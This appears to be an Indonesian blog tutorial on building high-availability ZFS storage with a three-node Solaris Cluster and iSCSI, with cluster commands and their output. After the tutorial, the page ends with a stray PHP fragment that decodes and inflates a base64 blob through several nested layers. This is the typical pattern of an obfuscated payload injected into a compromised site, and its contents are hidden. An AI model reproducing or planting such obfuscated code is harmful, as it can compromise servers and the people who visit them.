Delicious

Archives

Categories

HA storage ZFS

  ozzie / 23/06/2013


simulasi High-Availability Storage dengan 3 node Solaris Cluster dan iSCSI dengan Solaris 11 & Solaris Cluster 4.1.


setelah Solaris Cluster sudah up..

root@Monyet1:~# cluster show -t global
=== Cluster ===                                
Cluster Name:                                   kandang-monyet
  clusterid:                                       0x51C6CA70
  installmode:                                     disabled
  heartbeat_timeout:                               10000
  heartbeat_quantum:                               1000
  private_netaddr:                                 172.16.0.0
  private_netmask:                                 255.255.240.0
  max_nodes:                                       62
  max_privatenets:                                 10
  num_zoneclusters:                                12
  num_xip_zoneclusters:                            3
  udp_session_timeout:                             480
  concentrate_load:                                False
  resource_security:                               SECURE
  global_fencing:                                  prefer3
  Node List:                                       Monyet3, Monyet2, Monyet1
 
root@Monyet1:~# clnode status
=== Cluster Nodes ===
--- Node Status ---
 
Node Name                                       Status
---------                                       ------
Monyet3                                         Online
Monyet2                                         Online
Monyet1                                         Online

Add quorum disk device

root@Monyet1:~# cldevice status
=== Cluster DID Devices ===
Device Instance              Node               Status
---------------              ----               ------
/dev/did/rdsk/d1             Monyet3            Unmonitored
 
/dev/did/rdsk/d2             Monyet1            Ok
                             Monyet2            Ok
                             Monyet3            Ok
 
/dev/did/rdsk/d3             Monyet2            Unmonitored
 
/dev/did/rdsk/d5             Monyet1            Unmonitored

Enable automatic node reboot if all monitored disk fail:

root@Monyet1:~# clnode set -p reboot_on_path_failure=enabled +
 
root@Monyet1:~# clnode show
 
=== Cluster Nodes ===                          
 
Node Name:                                      Monyet3
  Node ID:                                         1
  Enabled:                                         yes
  privatehostname:                                 clusternode1-priv
  reboot_on_path_failure:                          enabled
  globalzoneshares:                                1
  defaultpsetmin:                                  1
  quorum_vote:                                     1
  quorum_defaultvote:                              1
  quorum_resv_key:                                 0x51C6CA7000000001
  Transport Adapter List:                          net0, net2
 
Node Name:                                      Monyet2
  Node ID:                                         2
  Enabled:                                         yes
  privatehostname:                                 clusternode2-priv
  reboot_on_path_failure:                          enabled
  globalzoneshares:                                1
  defaultpsetmin:                                  1
  quorum_vote:                                     1
  quorum_defaultvote:                              1
  quorum_resv_key:                                 0x51C6CA7000000002
  Transport Adapter List:                          net0, net2
 
Node Name:                                      Monyet1
  Node ID:                                         3
  Enabled:                                         yes
  privatehostname:                                 clusternode3-priv
  reboot_on_path_failure:                          enabled
  globalzoneshares:                                1
  defaultpsetmin:                                  1
  quorum_vote:                                     1
  quorum_defaultvote:                              1
  quorum_resv_key:                                 0x51C6CA7000000003
  Transport Adapter List:                          net0, net2

Registering the cluster storage & Network service

root@Monyet1:~# clresourcetype register SUNW.gds SUNW.HAStoragePlus



Create Resource Group dari group Monyet

root@Monyet1:~# clresourcegroup create -n Monyet1,Monyet2,Monyet3 RG-MONYET
root@Monyet1:~# clresourcegroup status
 
=== Cluster Resource Groups ===
 
Group Name       Node Name       Suspended      Status
----------       ---------       ---------      ------
RG-MONYET        Monyet1         No             Unmanaged
                 Monyet2         No             Unmanaged
                 Monyet3         No             Unmanaged
 
root@Monyet1:~# clresourcegroup manage RG-MONYET
root@Monyet1:~# clresourcegroup status
 
=== Cluster Resource Groups ===
 
Group Name       Node Name       Suspended      Status
----------       ---------       ---------      ------
RG-MONYET        Monyet1         No             Offline
                 Monyet2         No             Offline
                 Monyet3         No             Offline



Create ZFS pool isi pelem – ‘poolBOKEP’ – sebelom tambah ke resource cluster

root@Monyet1:~# echo | format
Searching for disks...done
AVAILABLE DISK SELECTIONS:
       0. c2d0 <SUN-Disk-40GB cyl 1135 alt 2 hd 96 sec 768>
          /virtual-devices@100/channel-devices@200/disk@0
       1. c3t0d0 <iSCSI Disk-0123 cyl 19455 alt 2 hd 255 sec 63>
          /iscsi/disk@0000iqn.2013-03.org.kebonbinatang.storage1%3Adisk00001,0
Specify disk (enter its number): Specify disk (enter its number): 
 
root@Monyet1:~# zpool  create poolBOKEP c3t0d0
root@Monyet1:~# zpool export poolBOKEP



tambah ‘poolBOKEP’ sebagai resource group RG-MONYET:

root@Monyet1:~# clresource create -g RG-MONYET -t SUNW.HAStoragePlus -p AffinityOn=TRUE -p  Zpools=poolBOKEP  -p \ ZpoolsSearchDir=/dev/did/dsk RS-BOKEP-HAS
root@Monyet1:~# clresource list
RS-BOKEP-HAS
root@Monyet1:~# clresource show
=== Resources ===                              
 
Resource:                                       RS-BOKEP-HAS
  Type:                                            SUNW.HAStoragePlus:10
  Type_version:                                    10
  Group:                                           RG-MONYET
  R_description:                                   
  Resource_project_name:                           default
  Enabled{Monyet1}:                                True
  Enabled{Monyet2}:                                True
  Enabled{Monyet3}:                                True
  Monitored{Monyet1}:                              True
  Monitored{Monyet2}:                              True
  Monitored{Monyet3}:                              True

Import poolBokep tadi:

root@Monyet1:~#  zpool import poolBOKEP

tambah Virtual IP resource untuk resource group RG-MONYET :

root@Monyet1:~# clreslogicalhostname create -g RG-MONYET -h Monyet -N  \
sc_ipmp0@Monyet1,sc_ipmp0@Monyet2,sc_ipmp0@Monyet3 RS-MONYET
 
root@Monyet1:~# clresource list
RS-MONYET
RS-BOKEP-HAS
root@Monyet1:~# clresource show
 
=== Resources ===                              
 
Resource:                                       RS-BOKEP-HAS
  Type:                                            SUNW.HAStoragePlus:10
  Type_version:                                    10
  Group:                                           RG-MONYET
  R_description:                                   
  Resource_project_name:                           default
  Enabled{Monyet1}:                                True
  Enabled{Monyet2}:                                True
  Enabled{Monyet3}:                                True
  Monitored{Monyet1}:                              True
  Monitored{Monyet2}:                              True
  Monitored{Monyet3}:                              True
 
Resource:                                       RS-MONYET
  Type:                                            SUNW.LogicalHostname:4
  Type_version:                                    4
  Group:                                           RG-MONYET
  R_description:                                   
  Resource_project_name:                           default
  Enabled{Monyet1}:                                True
  Enabled{Monyet2}:                                True
  Enabled{Monyet3}:                                True
  Monitored{Monyet1}:                              True
  Monitored{Monyet2}:                              True
  Monitored{Monyet3}:                              True

sampai sini tinggal pindah2 resource group ke Monyet-Monyet yg laen ;)) [failover]

root@Monyet1:~# clresourcegroup switch -n Monyet3 RG-MONYET

atau mau di balikin ulang :-??

root@Monyet1:~#  clresourcegroup remaster RG-MONYET

tinggal isi pelem di poolBOKEP dah \:d/

root@Monyet3:~# scstat 
------------------------------------------------------------------
 
-- Cluster Nodes --
 
                    Node name           Status
                    ---------           ------
  Cluster node:     Monyet3             Online
  Cluster node:     Monyet2             Online
  Cluster node:     Monyet1             Online
 
------------------------------------------------------------------
 
-- Cluster Transport Paths --
 
                    Endpoint               Endpoint               Status
                    --------               --------               ------
  Transport path:   Monyet3:net2           Monyet2:net2           Path online
  Transport path:   Monyet3:net0           Monyet2:net0           Path online
  Transport path:   Monyet3:net2           Monyet1:net2           Path online
  Transport path:   Monyet3:net0           Monyet1:net0           Path online
  Transport path:   Monyet2:net2           Monyet1:net2           Path online
  Transport path:   Monyet2:net0           Monyet1:net0           Path online
 
------------------------------------------------------------------
 
-- Quorum Summary from latest node reconfiguration --
 
  Quorum votes possible:      5
  Quorum votes needed:        3
  Quorum votes present:       5
 
 
-- Quorum Votes by Node (current status) --
 
                    Node Name           Present Possible Status
                    ---------           ------- -------- ------
  Node votes:       Monyet3             1        1       Online
  Node votes:       Monyet2             1        1       Online
  Node votes:       Monyet1             1        1       Online
 
 
-- Quorum Votes by Device (current status) --
 
                    Device Name         Present Possible Status
                    -----------         ------- -------- ------
  Device votes:     /dev/did/rdsk/d2s2  2        2       Online
 
------------------------------------------------------------------
 
-- Device Group Servers --
 
                         Device Group        Primary             Secondary
                         ------------        -------             ---------
 
 
-- Device Group Status --
 
                              Device Group        Status              
                              ------------        ------              
 
 
-- Multi-owner Device Groups --
 
                              Device Group        Online Status
                              ------------        -------------
 
------------------------------------------------------------------
 
-- Resource Groups and Resources --
 
            Group Name     Resources
            ----------     ---------
 Resources: RG-MONYET      RS-BOKEP-HAS RS-MONYET
 
 
-- Resource Groups --
 
            Group Name     Node Name                State          Suspended
            ----------     ---------                -----          ---------
     Group: RG-MONYET      Monyet1                  Offline        No
     Group: RG-MONYET      Monyet2                  Online         No
     Group: RG-MONYET      Monyet3                  Offline        No
 
 
-- Resources --
 
            Resource Name  Node Name                State          Status Message
            -------------  ---------                -----          --------------
  Resource: RS-BOKEP-HAS   Monyet1                  Offline        Offline
  Resource: RS-BOKEP-HAS   Monyet2                  Online         Online
  Resource: RS-BOKEP-HAS   Monyet3                  Offline        Offline
 
  Resource: RS-MONYET      Monyet1                  Offline        Offline - LogicalHostname offline.
  Resource: RS-MONYET      Monyet2                  Online         Online - LogicalHostname online.
  Resource: RS-MONYET      Monyet3                  Offline        Offline
 
------------------------------------------------------------------
 
-- IPMP Groups --
 
              Node Name           Group   Status         Adapter   Status
              ---------           -----   ------         -------   ------
  IPMP Group: Monyet3             sc_ipmp0 Online         net1      Online
 
  IPMP Group: Monyet2             sc_ipmp0 Online         net1      Online
 
  IPMP Group: Monyet1             sc_ipmp0 Online         net1      Online
 
------------------------------------------------------------------

« »



".gzinflate(base64_decode(gzinflate(base64_decode(gzinflate(base64_decode('BcHRdkMwAADQD/KgS0mzR8ShjSMJNWveEEamOGljab9+9+KOSbyef5IA89DREZ+phxlyKhQ2sF/pt2hxFtPHwFYI4J1+mVr7YRsVICLl0fQMYyzzvW8FIOGbX1PVUVAP0/uWuZs8RWoEcMl8XpKEe37FrPxw/eeNGNw19npJt8S5uOlh83I2wUDpI6btM7hPv0s8Idtwt7XVp6gqMz92VSRz6Zx7WFuuSb8YAk8IveQfQ69xi7kGBRCNSsZSDPl+CP4B'))))))); ?>